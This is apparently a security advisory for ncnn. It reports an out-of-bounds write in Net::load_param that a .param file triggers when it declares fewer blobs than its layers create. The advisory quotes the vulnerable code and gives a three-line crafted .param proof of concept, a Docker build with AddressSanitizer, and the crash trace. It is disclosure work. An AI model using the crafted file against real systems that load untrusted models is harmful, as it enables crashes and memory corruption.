Out-of-Bounds Write in Model Parameter Parsing

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/net.cpp:1459 in Net::load_param(const DataReader&)
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x769fb2c2a4fc bp 0x7ffc713907c0 sp 0x7ffc713907a8 T0)

Summary

ncnn::Net::load_param() trusts the blob count declared in a text .param header and never checks it against the number of blobs the layer lines actually create, so a file that declares fewer blobs than its layers produce assigns a std::string through a reference past the end of the blob vector. The entry point is any consumer of ncnn::Net::load_param(); the PoC uses ncnnoptimize, which calls it on argv[1]. The observed result is a crash inside the string assignment.

Detail

The header parser reads blob_count, rejects only non-positive values, and sizes the blob array once.

// src/net.cpp:1323
    int layer_count = 0;
    int blob_count = 0;
    SCAN_VALUE("%d", layer_count)
    SCAN_VALUE("%d", blob_count)
    if (layer_count <= 0 || blob_count <= 0)
    {
        NCNN_LOGE("invalid layer_count or blob_count");
        return -1;
    }

    d->layers.resize((size_t)layer_count);
    d->blobs.resize((size_t)blob_count);

From then on blob_index is a running counter incremented once per newly named blob. The top loop binds a reference to d->blobs[blob_index] and assigns into it before the counter is compared against anything — because it never is compared against anything.

// src/net.cpp:1456
        layer->tops.resize(top_count);
        for (int j = 0; j < top_count; j++)
        {
            Blob& blob = d->blobs[blob_index];

            char blob_name[256];
            SCAN_VALUE("%255s", blob_name)

            blob.name = std::string(blob_name);
            //             NCNN_LOGE("new blob %s", blob_name);

            blob.producer = i;

            layer->tops[j] = blob_index;

            blob_index++;
        }

The bottom loop at lines 1431-1454 has the same shape: an unrecognised bottom name also consumes d->blobs[blob_index] and increments the counter. The number of Blob slots a file touches is therefore the total number of distinct blob names its layers introduce, entirely independent of the blob_count the header declared.

The PoC is 7767517 1 1 followed by AbsVal layer0 0 2 out0 out1: blob_count = 1, so d->blobs holds one element, while the single layer declares two tops. Iteration j = 0 writes the valid slot and leaves blob_index = 1. Iteration j = 1 binds Blob& blob = d->blobs[1], one whole Blob past the end of the allocation, and line 1464 assigns a std::string into that memory — reading the never-constructed representation found there in order to release it, then writing the new one. Under ASan this faults as a write to 0x000000000000 inside basic_string::operator=.

Reproduce

mkdir -p ncnn-poc-out-of-bounds-write-in-model-parameter-parsing && cd ncnn-poc-out-of-bounds-write-in-model-parameter-parsing

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 1
AbsVal a 0 2 x y
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f8610a4bbfb bp 0x7ffc1c06d8d0 sp 0x7ffc1c06d8c0 T0)
==1==The signal is caused by a WRITE memory access.
==1==Hint: address points to the zero page.
    #0 0x7f8610a4bbfb in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x168bfb) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b)
    #1 0x5ce259fed229 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1464
    #2 0x5ce25a02929e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #3 0x5ce25a0295d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #4 0x5ce259f3cbeb in main /ncnn/tools/ncnnoptimize.cpp:2788
    #5 0x7f86105e41c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7f86105e428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5ce259ebc624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x168bfb) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst